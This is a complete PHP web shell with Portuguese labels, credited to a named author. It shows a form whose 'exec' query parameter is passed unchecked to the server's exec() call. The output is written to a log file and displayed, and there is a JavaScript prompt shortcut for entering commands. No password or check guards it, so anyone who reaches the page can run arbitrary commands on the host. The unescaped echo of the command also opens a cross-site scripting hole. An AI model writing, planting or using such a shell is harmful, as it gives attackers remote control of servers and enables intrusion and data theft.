<?php
/*

Exec && Output - por Anderson Dad�rio

*/
function showform(){
echo"
<head><title>Exec</title></head>
<form action='$_SERVER[PHP_SELF]' method='get' name='log' onsubmit=\"document.log.u.value='Executando ...';document.log.u.disabled=true\">
<center>
<a href='$_SERVER[PHP_SELF]'><font face=verdana size=3 color=red>Refresh!</font></a><br><br>
<input type='text' name='exec' style='color:green;'>
<input type='submit' name='u' value='Executar' style=\"color:black; background:white;border: 1px solid darkgray\">
</center>
</form> ";
}

if($_SERVER['QUERY_STRING'] == "cmm"){
echo "<script>var campo = prompt('Digite o comando que ser� executado','');window.location='?exec='+campo+''</script>"; }
elseif(!empty($_GET['exec'])){
showform();
$logfile = "log.bin";@unlink($logfile);
$comanDo = exec("".$_GET[exec]." > $logfile");
echo "<center><font face=verdana size=2>~ <b>Comando Executado</b> ~<br><br><font color=red>$_GET[exec]</font><br><br>";
echo(nl2br(htmlspecialchars(join('',file($logfile))))); }
else{ showform(); }
?>